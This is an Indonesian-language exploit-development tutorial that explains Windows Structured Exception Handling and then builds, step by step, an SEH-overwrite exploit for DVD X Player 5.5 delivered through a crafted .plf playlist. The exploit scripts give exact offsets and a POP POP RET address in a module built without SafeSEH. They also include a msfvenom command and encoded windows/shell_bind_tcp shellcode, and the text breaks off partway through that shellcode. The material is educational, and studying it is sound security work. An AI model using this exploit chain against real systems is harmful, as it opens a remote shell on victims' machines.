Pada tulisan sebelumnya saya sudah membahas stack-based overflow yang dapat mengambil alih aliran aplikasi dengan cara menimpa EIP. Pada pembahasan tersebut kondisi aplikasi tidak menerapkan penanganan kesalahan, sehingga EIP dapat terambil alih dengan mudah. Pada kesempatan kali ini, saya akan menjabarkan tentang bagaimana eksploitasi terhadap aplikasi yang menerapkan penanganan kesalahan atau pada pemrograman kita mengenalnya dengan exception. Penanganan kesalahan pada Windows ini disebut dengan Structured Exception Handling (SEH).
Sebelumnya perlu saya jelaskan bahwa yang akan saya bahas hanya sebatas konsep dasar dan bagaimana konsep ini dapat membantu dalam proses pembuatan eksploit. Ada beberapa jenis exception handling seperti termination handling, vectored exception handling, frame-based exception handling yang tidak dibahas disini. Agar dapat memahami lebih detail saya akan berikan beberapa literatur yang dapat dibaca pada akhir tulisan.
Apa sih structured exception handling?
Sederhananya structured exception handling atau SEH adalah mekanisme Windows untuk menangani kondisi kesalahan. Saya tidak menemukan padanan kata yang tepat dalam bahasa Indonesia untuk terjemahan kata exception yang secara harafiah terjemahannya adalah pengecualian. Mulai dari sini kata exception saya artikan sebagai penanganan kesalahan/error pada pemrograman.
Pembaca yang berangkat dari area pemrograman pasti pernah melihat susunan berikut dalam Visual C/C++ atau pada bahasa pemrograman lain
__try
{
// kode yang dijalankan
}
__except ( expression )
{
// kode yang dijalankan apabila kode di atas melempar kesalahan
}
Konsepnya sederhana, pada bagian __try
akan menjalankan kode yang telah ditentukan dan apabila terjadi kesalahan, __except
akan mengambil alih proses dan menjalankan apapun kode yang disediakan di bawahnya. Penanganan kesalahan ini dapat dilakukan oleh program atau dari sistem operasi Windows namun mekanisme penanganan kesalahan ini biasanya ditangani secara terpusat oleh Windows terlepas programmer menggunakan penanganan kesalahan sendiri (dalam programnya) atau tidak.
Struktur dari SEH
Untuk memahami bagaimana proses stack-based overflow dapat berfungsi ketika SEH terjadi, kita perlu melihat struktur SEH berikut yang mengandung exception registration record
typedef struct _EXCEPTION_REGISTRATION_RECORD
{
struct _EXCEPTION_REGISTRATION_RECORD *Next;
PEXCEPTION_ROUTINE Handler;
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;
Setiap penanganan kesalahan mengandung exception registration record dan membentuk daftar yang saling berkaitan (linked list). Pada baris ketiga (*Next)
merupakan penunjuk _EXCEPTION_REGISTRATION_RECORD
berikutnya pada rangkaian SEH (SEH chain). Kita dapat melihat rangkaian SEH dari atas ke bawah dengan menggunakan alamat *Next
. Baris keempat (Handler
), adalah penunjuk ke fungsi penanganan kesalahan yang mempunyai struktur seperti ini:
EXCEPTION_DISPOSITION
__cdecl _except_handler(
struct _EXCEPTION_RECORD *ExceptionRecord,
void * EstablisherFrame,
struct _CONTEXT *ContextRecord,
void * DispatcherContext
);
Pada fungsi _except_handler
, parameter pertama pada fungsi ini merupakan penunjuk dari _EXCEPTION_RECORD
berikut
typedef struct _EXCEPTION_RECORD {
DWORD ExceptionCode;
DWORD ExceptionFlags;
struct _EXCEPTION_RECORD *ExceptionRecord;
PVOID ExceptionAddress;
DWORD NumberParameters;
DWORD ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;
Kita juga bisa melihat pada fungsi _EXCEPTION_RECORD
di atas yang memegang informasi terkait penanganan kesalahan seperti kode penanganan kesalahan (ExceptionCode
), alamat dan jumlah parameternya (ExceptionAddress
dan ExceptionInformation
).
Fungsi _except_handler
menggunakan informasi di atas untuk menentukan apakah sebuah penanganan kesalahan dapat ditangani, apabila tidak dapat ditangani maka proses akan berlanjut pada catatan penanganan kesalahan berikutnya. Nilai kembali dari EXCEPTION_DISPOSITION
yang dihasilkan dari fungsi _except_handler
memberitahu sistem operasi apakah proses penanganan kesalahan berhasil ditangani (menghasilkan nilai untuk parameter ExceptionContinueExecution
) atau harus dilanjutkan ke penanganan kesalahan berikutnya (ExceptionContinueSearch
).
Kesimpulannya, ketika ada kesalahan dalam menjalankan sebuah fungsi, Windows memulai rangkaian penanganan kesalahan dengan memeriksa fungsi penanganan _EXCEPTION_REGISTRATION_RECORD
apakah fungsi ini bisa menangani kesalahan (berdasarkan informasi dari parameter ExceptionRecord
dan ContextRecord
). Jika penanganan kesalahan gagal, proses akan berlanjut ke _EXCEPTION_REGISTRATION_RECORD berikutnya (menggunakan alamat yang ditunjuk oleh *Next
). Proses ini terus berlanjut sampai ketemu fungsi penanganan kesalahan yang tepat. Jika pada akhirnya penanganan kesalahan yang tepat tidak pernah ditemukan, Windows sudah menyiapkan penanganan kesalahan terakhir yang sering kita lihat sebagai jendela pesan kesalahan “… has encountered a problem and needs to close“. Penanganan kesalahan ini direpresentasikan dengan FFFFFFFF
.
Setiap thread memiliki rangkaian SEH masing-masing. Windows dapat melihat rangkaian ini dengan mendapatkan referensi dari daftar penanganan kesalahan (ExceptionList
) dari setiap blok informasi thread (TIB/TEB) yang berada pada lokasi FS:[0]
. Kalau digambarkan secara sederhana, akan terlihat seperti ini:
Diagram di atas saya sadur dari tulisan Mike Czumak yang menurut saya dapat merangkum penjelasan SEH dengan baik.
Gambaran SEH pada aplikasi
Untuk mendapatkan gambaran rangkaian SEH dari sebuah aplikasi, saya akan menggunakan program yang memang memiliki kerentanan buffer overflow yaitu program DVD X Player. Silakan unduh dan pasang program-program berikut:
- Debugging tools for Windows via Windows 10 SDK
- DVD X Player 5.5 Professional (via Exploit-DB)
- OllyDbg 1.10
- OllySEH (plugin OllyDbg)
- Immunity Debugger
- Mona python script
Ketika memasang Windows Debugger (WinDbg), pada proses instalasi hanya pilih Debugging Tools for Windows
Setelah terpasang, jalankan WinDbg versi x86 (bukan yang x64) lalu atur Workspace dengan cara menekan Alt+1, Alt+4, Alt+5, dan Alt+7. Jendela Command, Registers, Memory dan Disassembly akan terbuka. Atur jendela-jendela tersebut sesuai cuplikan layar di bawah ini (atau sesuai keinginan)
Setelah itu atur Symbol Path dengan menekan Ctrl+S dan isikan dengan
SRV*C:\symbols*https://msdl.microsoft.com/download/symbols
Jangan lupa membuat folder di lokasi C:\symbols untuk menyesuaikan konfigurasi dengan lokasi Symbol Path di atas. Setelah itu simpan workspace di atas dengan cara memilih File -> Save Workspace.
Langkah berikutnya kita jalankan DVD X Player. Lalu pada WinDbg pilih File -> Attach to a Process atau tekan F6, pilih DVDXPlayer.exe. Pada jendela Command, ketikkan !teb
yang akan menghasilkan informasi Thread Environment Block (TEB) seperti berikut
0:001> !teb
TEB at 003a0000
ExceptionList: 0097ff60
StackBase: 00980000
StackLimit: 0097c000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 003a0000
EnvironmentPointer: 00000000
ClientId: 00000d08 . 00001c78
RpcHandle: 00000000
Tls Storage: 00000000
PEB Address: 0038e000
LastErrorValue: 0
LastStatusValue: 0
Count Owned Locks: 0
HardErrorMode: 0
Kita dapat melihat daftar rangkaian SEH yang dimulai pada alamat 0097ff60
, kita juga bisa melihat daftar rangkaian SEH ini dengan melakukan dump berikut
0:001> dd fs:[0]
0053:00000000 0097ff60 00980000 0097c000 00000000
0053:00000010 00001e00 00000000 003a0000 00000000
0053:00000020 00000d08 00001c78 00000000 00000000
0053:00000030 0038e000 00000000 00000000 00000000
0053:00000040 00000000 00000000 00000000 00000000
0053:00000050 00000000 00000000 00000000 00000000
0053:00000060 00000000 00000000 00000000 00000000
0053:00000070 00000000 00000000 00000000 00000000
Kita bisa melihat rangkaian SEH dengan cara melakukan dump pada alamat 0097ff60
.
0:001> dd 0097ff60
0097ff60 0097ffcc 773da040 9c1d7a86 00000000
0097ff70 0097ff80 76256359 00000000 76256340
0097ff80 0097ffdc 773c7c24 00000000 ebcce34a
0097ff90 00000000 00000000 00000000 00000000
0097ffa0 00000000 00000000 00000000 00000000
0097ffb0 00000000 00000000 00000000 00000000
0097ffc0 00000000 0097ff8c 00000000 0097ffe4
0097ffd0 773da040 9c1d7f3e 00000000 0097ffec
0:001> dd 0097ffcc
0097ffcc 0097ffe4 773da040 9c1d7f3e 00000000
0097ffdc 0097ffec 773c7bf4 ffffffff 773e8fe0
0097ffec 00000000 00000000 7740acb0 00000000
0097fffc 00000000 00000000 00000000 00000000
0098000c 00000000 00000000 00000000 00000000
0098001c 00000000 00000000 00000000 00000000
0098002c 00000000 00000000 00000000 00000000
0098003c 00000000 00000000 00000000 00000000
0:001> dd 0097ffe4
0097ffe4 ffffffff 773e8fe0 00000000 00000000
0097fff4 7740acb0 00000000 00000000 00000000
00980004 00000000 00000000 00000000 00000000
00980014 00000000 00000000 00000000 00000000
00980024 00000000 00000000 00000000 00000000
00980034 00000000 00000000 00000000 00000000
00980044 00000000 00000000 00000000 00000000
00980054 00000000 00000000 00000000 00000000
Terlihat bahwa pada awal dump di alamat 0097ff60
, 4 bytes pertama merupakan referensi ke Exception Registration Record berikutnya (0097ffcc
) diikuti oleh SEH (773da040
). Kita juga bisa melihat rangkaian seluruh SEH dengan mengetik !exchain
0:001> !exchain
0097ff60: ntdll!_except_handler4+0 (773da040)
CRT scope 0, filter: ntdll!DbgUiRemoteBreakin+3b (7740aceb)
func: ntdll!DbgUiRemoteBreakin+3f (7740acef)
0097ffcc: ntdll!_except_handler4+0 (773da040)
CRT scope 0, filter: ntdll!__RtlUserThreadStart+3ad46 (7740293b)
func: ntdll!__RtlUserThreadStart+3addf (774029d4)
0097ffe4: ntdll!FinalExceptionHandlerPad32+0 (773e8fe0)
Invalid exception stack at ffffffff
Kita juga dapat melihatnya di jendela Memori, dengan lebih dahulu mengganti Display Format menjadi Pointer dan Symbol:
Untuk melihatnya pada debugger lain seperti OllyDbg atau ImmunityDbg, lakukan detach program dengan cara memilih menu Debug – Detach Debuggee, lalu tempel proses DVDXPlayer.exe pada OllyDbg/ImmunityDbg, lalu kita bisa lihat pada menu View – SEH chain (kondisi program dalam keadaan terhenti (pause)).
Pada saat kita sudah mendapatkan gambaran fundamental bagaimana penanganan kesalahan (SEH)pada Windows bekerja.
Proteksi terhadap SEH
SEH pada dasarnya bukan sebuah proteksi melainkan sebuah fitur. SEH dibuat untuk menangani kesalahan pada program agar apabila ada kegagalan dapat ditangani dengan baik. Sejak Windows XP SP1, penerapan exception pada pemrograman sudah menjadi standar dan memaksa pembuat eksploit mencari cara untuk menyiasati SEH. Teknik untuk menyiasati SEH akan dibahas pada tulisan ini termasuk bagaimana melewati proteksi SafeSEH.
Proteksi SafeSEH merupakan fitur yang ditambahkan pada compiler. Dengan menambahkan opsi /SAFESEH maka modul yang di-compile menggunakan opsi ini akan membuat daftar alamat penanganan kesalahan (SEH) yang berlaku untuk program tersebut. Apabila kita berusaha mengganti alamat SEH dengan alamat lain, alamat tersebut tidak akan dimuat dalam SEH dan program akan melanjutkan ke penanganan selanjutnya (Next SEH). Selain SafeSEH, proteksi pada Windows seperti ASLR (Address Space Layout Randomization) dan DEP (Data Execution Prevention) juga berperan dalam menyulitkan dalam pembuatan eksploit.
Eksploitasi SEH pada DVD X Player
Jika kita perhatikan pada proses eksploitasi stack-based overflow, kondisi yang dialami sebenarnya sama hanya saja ketika ada SEH, maka proses eksploitasi tersebut terhalang oleh SEH sehingga dapat mencegah proses eksploitasi (jika diimplementasi dengan baik).
Pada proses eksploitasi yang menggunakan SEH sebagai penanganan kesalahan, kita dapat mengeksploitasinya dengan cara membanjiri memori stack sampai rangkaian Next SEH dan SEH terisi (tertimpa) oleh buffer sehingga proses penanganan kesalahan terpicu oleh keadaan ini, Windows SEH kemudian berusaha menangani keadaan tersebut namun SEH (Handler) telah tertimpa oleh buffer. Ketika SEH tertimpa oleh buffer maka penunjuk instruksi (EIP) yang seharusnya mengeksekusi _except_handler
malah mengeksekusi alamat yang tidak ada (alamat buffer). Diagram sebelumnya pada stack-based overflow dapat diperbarui dengan adanya SEH seperti ini
Jika kita membanjiri stack memori dengan buffer yang kita kontrol, maka akan seperti ini
Dari penjelasan di atas kita dapat mengetahui bahwa untuk mengeksploitasi SEH, kita perlu membanjiri memori stack sampai Next SEH dan SEH tertimpa dan memicu mekanisme penanganan kesalahan yang mengarahkan kita pada EIP.
Kita akan mencoba mereplika proses pembuatan eksploit program DVD X Player yang eksploitnya dapat kita lihat di Exploit-DB (https://www.exploit-db.com/exploits/17745). Setelah diperhatikan, program DVD X Player mengalami stack-based overflow ketika memuat file playlist dengan format .plf. Berikut ini skrip proof of concept yang saya buat dengan nama 1.py untuk keperluan replikasi.
#!/usr/bin/python
file = 'sploit-1.plf'
buf = b'A' * 5000
f = open(file,'wb')
print ("Payload size: %d" %len(buf))
f.write(buf)
print ("File",file, "successfully created")
f.close()
Skrip di atas akan menghasilkan file sploit-1.plf
yang akan memicu crash terhadap program DVD X Player. Untuk memicunya, buka program DVD X Player, lalu pilih Open Playlist.. dan pilih file sploit-1.plf
.
Sesaat setelah file tersebut dipilih untuk dibuka, program DVD X Player langsung tertutup paksa. Untuk melihat apa yang terjadi, sebaiknya kita debug dengan OllyDbg. Kita ulangi proses sebelumnya, namun kali ini program DVD X Player ditempelkan ke OllyDbg.
Bisa kita lihat di bagian bawah bahwa terdapat pesan kesalahan Access violation when writing to [001A0000]. Kita juga bisa melihat bahwa kondisi tersebut disebabkan oleh instruksi
REPS MOVS DWORD PTR ES:[EDI], DWORD PTR DS:[ESI]
Jika dinaikkan sedikit pada jendela disassembly, terlihat bahwa instruksi yang bertanggung jawab atas kondisi ini adalah
NOT ECX
SUB EDI,ECX
MOV EAX,ECX
MOV ESI,EDI
MOV EDI,DWORD PTR SS:[ESP+10]
SHR ECX,2
REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
Pada kondisi di atas, perintah MOVS menyalin data dari DS: [ESI] ke ES: [EDI]. REPS pada awalan instruksi menandakan repetisi instruksi atas instruksi tersebut. Karena ESI berisi buffer yang kita kontrol, proses salin menyalin ini gagal dan menyebabkan Access violation when writing to [001A0000]. Bagaimana dengan rangkaian SEH?
Seperti yang sudah diduga, SEH tertimpa dengan buffer yang kita kontrol. Lalu bagaimana cara kita mengarahkan aliran program (EIP) ke buffer yang kita kontrol? Jika pada stack-based overflow kita dapat menggunakan instruksi JMP/CALL ESP, pada kondisi stack-based overflow dengan SEH sedikit berbeda.
Ingat parameter EstablisherFrame
pada fungsi _except_handler
ketika SEH tereksekusi?
EXCEPTION_DISPOSITION
__cdecl _except_handler(
struct _EXCEPTION_RECORD *ExceptionRecord,
void * EstablisherFrame,
struct _CONTEXT *ContextRecord,
void * DispatcherContext
);
Ketika fungsi _except_handler
ini dipanggil, parameter EstablisherFrame
berada pada ESP+8 di memori stack. Pada alamat ini mengandung _EXCEPTION_REGISTRATION_RECORD
yang merupakan bagian dari Next SEH yang sudah kita kontrol (alamat 0019F4CC
, sesuai cuplikan layar di atas). Kita dapat melihat alamat _EXCEPTION_REGISTRATION_RECORD
ini dengan cara membiarkan penanganan kesalahan melanjutkan tugasnya yaitu dengan menjalankan Ctrl+Shift+F9. Proses penanganan kesalahan akan mengeksekusi isi dari alamat 0019
F4CC (yang seharusnya adalah Next SEH dan diikuti oleh 4 bytes SEH) namun karena pada alamat tersebut sudah terisi buffer yang kita kontrol maka aliran aplikasi yang seharusnya mengeksekusi alamat SEH (handler) untuk menangani kesalahan malah mengeksekusi buffer yang kita kontrol yaitu 41414141.
Lalu bagaimana cara kita dapat membuat EstablisherFrame
pada ESP+8 langsung dieksekusi oleh EIP ketika proses penanganan kesalahan terjadi? Ada banyak jalan namun cara paling umum adalah dengan menimpa isi SEH dengan alamat yang mengandung urutan POP REG + POP REG + RETN agar ESP+8 dapat dieksekusi oleh EIP.
Jika kita asumsikan dari cuplikan layar di atas, EIP akan diisi dengan alamat ke urutan POP REG + POP REG + RETN sehingga eksekusinya akan mengambil 2 baris teratas dari memori stack dan kembali (RETN) ke alamat 0019F4CC
, dan alamat ini merupakan alamat Next SEH. Dari alamat Next SEH yang berisi buffer yang kita kontrol, kita hanya tinggal “melewati” alamat SEH dengan cara meloncatinya agar mencapai buffer yang sudah kita kontrol (buffer ini dapat kita isi dengan apa saja, misal: shellcode). Dari penjelasan ini mungkin sedikit membingungkan, namun apabila digambarkan akan seperti ini:
Diagram di atas dapat dijelaskan seperti ini:
- Posisi ini ketika buffer dikirim dan diproses sehingga kesalahan memicu SEH
- Karena posisi
EstablisherFrame
ada diESP+8
dan posisi ini memegang alamat Next SEH, maka kita dapat mengambil alih EIP melalui SEH. Jika SEH kita ganti dengan alamat ke instruksi POP REG + POP REG + RETN maka aliran aplikasi akan membawa kita ke Next SEH. - Ketika aliran aplikasi mengarah ke Next SEH, maka kita tinggal mengisi Next SEH dengan instruksi yang dapat membawa kita kembali ke buffer yang kita kontrol. Instruksi yang dapat kita isi adalah instruksi JMP SHORT yang memiliki opcode
\xeb\x00
(00
dapat kita ganti dengan jumlah byte yang diinginkan, misal untuk melompat sejauh 16 byte maka opcode menjadi\xeb\x16
). Instruksi ini hanya butuh 2 byte saja. - Pada lokasi ini buffer yang kita kontrol bisa kita ganti dengan shellcode sehingga ketika proses eksploitasi terjadi, shellcode akan tereksekusi.
Membuat Eksploit DVD X Player
Setelah penjelasan yang panjang, tiba saatnya untuk menerapkan penjelasan di atas dalam sebuah proses pembuatan eksploit DVD X Player. Seperti proses stack-based overflow pada tulisan Bagian 2, kita perlu mengetahui karakter A (buffer) keberapa yang menimpa SEH. Untuk itu segera kita jalankan skrip pattern_create.rb
seperti pada proses yang sudah kita ketahui sebelumnya lalu segera memperbarui skrip 1.py dan menyimpannya menjadi 2.py
#!/usr/bin/python
file = 'sploit-2.plf'
buf = b'(5000 karakter hasil dari pattern_create.rb)'
f = open(file,'wb')
print ("Payload size: %d" %len(buf))
f.write(buf)
print ("File",file, "successfully created")
f.close()
Ulangi proses di atas dengan cara menjalankan skrip 2.py, lalu pilih Open Playlist.. dan pilih file sploit-2.plf
pada program DVD X Player. Jangan lupa tempelkan program DVD X Player ke OllyDbg sebelum membuka file sploit-2.plf
agar proses crash dapat tertangkap. Setelah file .plf tersebut dimuat oleh DVD X Player, OllyDbg akan menangkap proses crash. Kita dapat melihat pada jendela SEH chain bahwa SEH (handler) tertimpa dengan karakter 0x33614132
Kita akan menggunakan skrip pattern_offset.rb
milik Metasploit untuk mengetahui karakter keberapakah yang menimpa SEH.
Hasil dari skrip pattern_offset.rb
terhadap karakter yang menimpa SEH yaitu karakter ke-872. Kita akan memperbarui skrip 2.py dan disesuaikan dengan hasil dari pattern_offset untuk melihat apakah perhitungan dan posisinya sudah sesuai. Berikut adalah skrip 3.py sesuai kondisi di atas.
#!/usr/bin/python
file = 'sploit-3.plf'
buf = b'A' * 868
nseh = b'CCCC' # Next SEH tertimpa pada karakter ke 872 (868+4)
seh = b'BBBB' # SEH tertimpa pada karakter ke 876 (872+4)
sisa = b'D' * (5000 - len(buf+nseh+seh))
payload = buf+nseh+seh+sisa
f = open(file,'wb')
print ("Payload size: %d" %len(payload))
f.write(payload)
print ("File",file, "successfully created")
f.close()
Jika digambarkan dalam bentuk diagram, maka yang terjadi seperti ini.
Pada cuplikan layar di atas, posisi Next SEH dan SEH sudah sangat sesuai dengan skrip 3.py. Kita hanya tinggal mencari alamat yang menunjuk ke urutan POP REG + POP REG + RETN. Alamat ke POP POP RET dapat kita temukan disetiap modul yang dimuat oleh program DVDXPlayer.exe. Jika para pembaca ingat pada tulisan sebelumnya, proses mencari alamat POP POP RET dapat kita lakukan dengan menggunakan Find sequence of commands pada salah satu modul yang dimuat oleh program DVDXPlayer.exe.
Melewati proteksi SafeSEH, ASLR, dan DEP
Sebelum mencari alamat urutan instruksi tersebut, kita harus dapat mengidentifikasi jenis-jenis proteksi yang mungkin ada pada modul-modul yang dimuat oleh program DVDXPlayer.exe. Proteksi yang dimaksud adalah proteksi SafeSEH, ASLR, dan DEP. Untuk dapat melihat proteksi-proteksi pada modul tersebut kita dapat menggunakan tool berikut.
OllySEH (Plugin OllyDbg)
OllySEH merupakan plugin untuk OllyDbg versi 1.10. Plugin ini berfungsi untuk mendeteksi proteksi pada modul-modul yang dimuat oleh program utama (DVDXPlayer.exe). Pada versi terakhir, pembuat OllySEH memberikan ekstra fitur dengan adanya deteksi tambahan informasi terhadap DEP dan ASLR. OllySEH dapat diunduh di: https://github.com/marioballano/ollysseh
Mona
Mona merupakan skrip python yang dibuat untuk Immunity Debugger dan Windows Debugger. Mona memiliki banyak fitur seperti memberikan informasi proteksi setiap modul, membuat karakter acak seperti pattern_create.rb
, mencari instruksi untuk JMP, atau rangkaian urutan instruksi lainnya, membuat template modul Metasploit, melakukan pencarian karakter badchars, dan lain sebagainya. Bahkan Mona dapat memberikan informasi rangkaian ROP gadget yang dibutuhkan untuk melewati proteksi DEP. Pada bagian tulisan lain saya akan menggunakan skrip Mona sebagai alat bantu untuk mempercepat proses pembuatan eksploit. Mona dibuat hanya untuk sistem 32-bit dan dapat diunduh di: https://github.com/corelan/mona
Pada tulisan kali ini, kita akan menggunakan plugin OllyDbg yaitu OllySEH. Silakan diunduh filenya, ekstrak file OllySEH.dll lalu tempatkan di direktori yang sama dengan direktori OllyDbg. Setelah itu jalankan OllyDbg, lalu lihat pada menu plugin dan pastikan menu SafeSEH ada disana.
Untuk melihat jenis proteksi yang ada pada program DVDXPlayer.exe dan modul-modul yang dimuat oleh program tersebut, kita muat program DVDXPlayer.exe lalu pilih Plugins -> SafeSEH -> Scan /SafeSEH Modules.
Terlihat pada bagian modul yang berwarna merah merupakan daftar modul-modul yang ketika di-compile tidak menggunakan opsi /SafeSEH (/SafeSEH OFF). Plugin OllySEH juga memberikan informasi terkait dengan penggunaan ASLR dan DEP, yang rupanya juga OFF atau tidak diaktifkan pada modul-modul tersebut. Apabila kita menggunakan (meminjam) salah satu alamat dari modul-modul tersebut untuk penggunaan rangkaian urutan instruksi POP POP RET maka proses eksekusi eksploitasi akan terbebas dari proteksi SafeSEH, ASLR, dan DEP.
Mencari alamat POP POP RET
Setelah kita mengetahui bahwa beberapa modul bawaan dari DVD X Player tidak di-compile dengan SafeSEH, ASLR, dan DEP maka kita dapat menggunakan salah satu modul tersebut untuk mencari alamat urutan instruksi POP POP RET. Untuk tulisan ini saya memilih MediaPlayerCtrl.dll. Masih ingat cara mencarinya? Caranya sama persis ketika kita mencari JMP ESP pada tulisan sebelumnya, kita pilih dulu modulnya dengan meng-klik 2 kali pada modul MediaPlayerCtrl.dll melalui menu E yang ada di deretan taskbar. Setelah itu, alih-alih menggunakan Ctrl-F, kita akan menggunakan Ctrl-S untuk memunculkan jendela Find sequence of commands lalu saya isi dengan rangkaian instruksi berikut
Setelah itu tekan Find. Alamat awal yang ditemukan memiliki alamat 6400b0f0
, meskipun kita belum mencari karakter-karakter badchars, alamat ini kemungkinan tidak dapat digunakan karena mengandung karakter \x00
(null byte). Untuk melanjutkan pencarian, tekan Ctrl-L. Setelah memilih-milih alamat POP POP RET yang akan digunakan, saya memilih alamat 0x64020494
dengan alasan alamat ini aman. Alamat ini mengandung karakter heksa dari \x01-\x7F
yang merupakan representasi dari karakter di keyboard sehingga minim (walaupun tetap ada kemungkinan) ditolak oleh program.
Karena kita sudah menemukan alamat POP POP RET yang akan kita isi untuk menimpa SEH, apa yang akan kita isi pada posisi Next SEH? Sesuai diagram di atas, tentu saja posisi Next SEH akan kita isi dengan instruksi untuk melompat (sebanyak minimal 6-8 bytes lebih tidak apa-apa) ke buffer yang kita kontrol (yang akan kita isi dengan shellcode) . Kita langsung lihat saja prosesnya dengan memperbarui skrip sebelumnya dan menyimpannya dengan nama 4.py
#!/usr/bin/python
file = 'sploit-4.plf'
buf = b'A' * 868
nseh = b'\xeb\x08\x90\x90' # lokasi di 868+4
seh = b'\x94\x04\x02\x64' # lokasi di 872+4 - 0x64020494 pop edi pop esi retn MediaPlayerCtrl.dll
sisa = b'\xcc' * (5000 - len(buf+nseh+seh))
payload = buf+nseh+seh+sisa
f = open(file,'wb')
print ("Payload size: %d" %len(payload))
f.write(payload)
print ("File",file, "successfully created")
f.close()
Jika diperhatikan pada baris ke-5, variabel nseh
yang adalah Next SEH diisi dengan karakter \xeb\x08\x90\x90
yang dapat dijelaskan seperti ini
\xeb - merupakan opcode dari instruksi JMP SHORT
\08 - jumlah byte yang akan dipakai sebagai lompatan
\x90\x90 - NOPsled
Ketika file sploit-4.plf
dimuat ke program DVDXPlayer.exe, kesalahan terjadi dan tertangkap oleh OllyDbg. Pada saat ini SEH belum terpicu, namun bisa kita lihat pada rangkaian SEH (jendela SEH chain) bahwa pada posisi ini SEH telah diisi dengan POP EDI # POP ESI # RETN
meminjam dari modul MediaPlayerCtrl.dll di alamat 0x64020494
.
Untuk dapat melihat proses penanganan kesalahan dan proses eksploitasinya, kita akan memasang breakpoint pada alamat 0x64020494
. Untuk memasang breakpoint, klik 2x pada alamat 0x64020494
lalu tekan F2. Sehingga ketika penanganan kesalahan terpicu, proses akan mengarah ke SEH dan berhenti karena breakpoint. Untuk memicunya kita bisa teruskan prosesnya ke SEH dengan cara menekan Ctrl+Shift+F9. Setelah prosesnya diteruskan, penanganan kesalahan akan terpicu lalu proses ini akan membawa kita ke alamat POP POP RET yang sudah di breakpoint.
Bisa kita lihat pada cuplikan layar di atas bahwa instruksi POP EDI
akan menarik alamat teratas pada memori stack (0019EB98
) ke register EDI. Lalu POP ESI
akan membawa alamat teratas selanjutnya (0019EB9C
) ke register ESI dan setelah POP ESI
menarik alamat 0019EB9C
ke register ESI, instruksi selanjutnya adalah RET yang akan mengembalikan EIP ke posisi yang ditunjuk oleh memori stack paling atas (ESP). Posisi teratas di memori stack adalah alamat 0019EBA0
yang memiliki nilai 0019F4CC
. Alamat ini adalah alamat Next SEH. Sehingga secara keseluruhan proses POP POP RET mengembalikan aliran proses penanganan kesalahan ke posisi Next SEH. Silakan menekan F7 (step into) untuk melihat aliran proses mengeksekusi RET dan mengarahkan aliran ke Next SEH.
Pada posisi Next SEH sudah menunggu instruksi selanjutnya yaitu \xeb\x08\x90\x90
yang akan melompati alamat SEH ke buffer yang kita kontrol. Jika pada posisi 0019F4CC
kita ikut prosesnya dengan menekan F7, maka aliran proses akan berlanjut ke 0019F4D6
dan posisi ini merupakan lokasi buffer yang kita kontrol (pada saat ini kita isi dengan \xcc
). Apabila lokasi buffer yang kita kontrol ini kita isi dengan shellcode maka proses selanjutnya sudah dapat ditebak yaitu shellcode tersebut akan tereksekusi.
Mencari karakter badchars
Sebelum mengisi buffer yang kita kontrol dengan shellcode, kita wajib memeriksa apakah ada karakter yang ditolak oleh memori proses. Tahap ini sangat penting karena apabila kita gagal mengidentifikasi karakter badchars maka shellcode yang akan kita pakai tidak dapat berfungsi dengan baik. Proses mencari karakter badchars sudah saya jelaskan pada tulisan sebelumnya.
Catatan: Pada saat mencari badchars saya langsung melihat modul eksploit milik Metasploit yang sudah jadi (https://www.exploit-db.com/exploits/17770) dan sebagai referensi, meminjam karakter-karakter yang menjadi badchars, yaitu karakter
\x00\x0a\x0d\1a
. Namun rupanya shellcode yang dihasilkan denganmsfvenom
dan membuang karakter badchars masih belum berfungsi. Saya curiga masih ada badchars yang belum teridentifikasi sehingga merusak shellcode sehingga saya memutuskan untuk mengulangi proses pencarian badchars dan menemukan sisa badchars tersebut. Silakan para pembaca mencari sisa karakter-karakter badchars yang belum teridentifikasi tersebut sebagai latihan 🙂
Finalisasi eksploit
Setelah kita menemukan karakter-karakter badchars kita bisa segera membuat shellcode dengan msfvenom (saya akan menggunakan shell_bind_tcp)
kali@kali:~$ sudo msfvenom -p windows/shell_bind_tcp -b "\x00\x0a\x0d\x1a" -f python -v shellcode
Lalu memperbarui skrip terakhir dan menyimpannya dengan nama 5.py
#!/usr/bin/python
#badchars adalah 00,0a,0d,1a
#msfvenom -p windows/shell_bind_tcp -b "\x00\x0a\x0d\x1a" -f python -v shellcode
#Payload size: 352 bytes
shellcode = b""
shellcode += b"\x33\xc9\x83\xe9\xae\xe8\xff\xff\xff\xff\xc0"
shellcode += b"\x5e\x81\x76\x0e\x80\x4f\x2c\xf4\x83\xee\xfc"
shellcode += b"\xe2\xf4\x7c\xa7\xae\xf4\x80\x4f\x4c\x7d\x65"
shellcode += b"\x7e\xec\x90\x0b\x1f\x1c\x7f\xd2\x43\xa7\xa6"
shellcode += b"\x94\xc4\x5e\xdc\x8f\xf8\x66\xd2\xb1\xb0\x80"
shellcode += b"\xc8\xe1\x33\x2e\xd8\xa0\x8e\xe3\xf9\x81\x88"
shellcode += b"\xce\x06\xd2\x18\xa7\xa6\x90\xc4\x66\xc8\x0b"
shellcode += b"\x03\x3d\x8c\x63\x07\x2d\x25\xd1\xc4\x75\xd4"
shellcode += b"\x81\x9c\xa7\xbd\x98\xac\x16\xbd\x0b\x7b\xa7"
shellcode += b"\xf5\x56\x7e\xd3\x58\x41\x80\x21\xf5\x47\x77"
shellcode += b"\xcc\x81\x76\x4c\x51\x0c\xbb\x32\x08\x81\x64"
shellcode += b"\x17\xa7\xac\xa4\x4e\xff\x92\x0b\x43\x67\x7f"
shellcode += b"\xd8\x53\x2d\x27\x0b\x4b\xa7\xf5\x50\xc6\x68"
shellcode += b"\xd0\xa4\x14\x77\x95\xd9\x15\x7d\x0b\x60\x10"
shellcode += b"\x73\xae\x0b\x5d\xc7\x79\xdd\x27\x1f\xc6\x80"
shellcode += b"\x4f\x44\x83\xf3\x7d\x73\xa0\xe8\x03\x5b\xd2"
shellcode += b"\x87\xb0\xf9\x4c\x10\x4e\x2c\xf4\xa9\x8b\x78"
shellcode += b"\xa4\xe8\x66\xac\x9f\x80\xb0\xf9\x9e\x88\x16"
shellcode += b"\x7c\x16\x7d\x0f\x7c\xb4\xd0\x27\xc6\xfb\x5f"
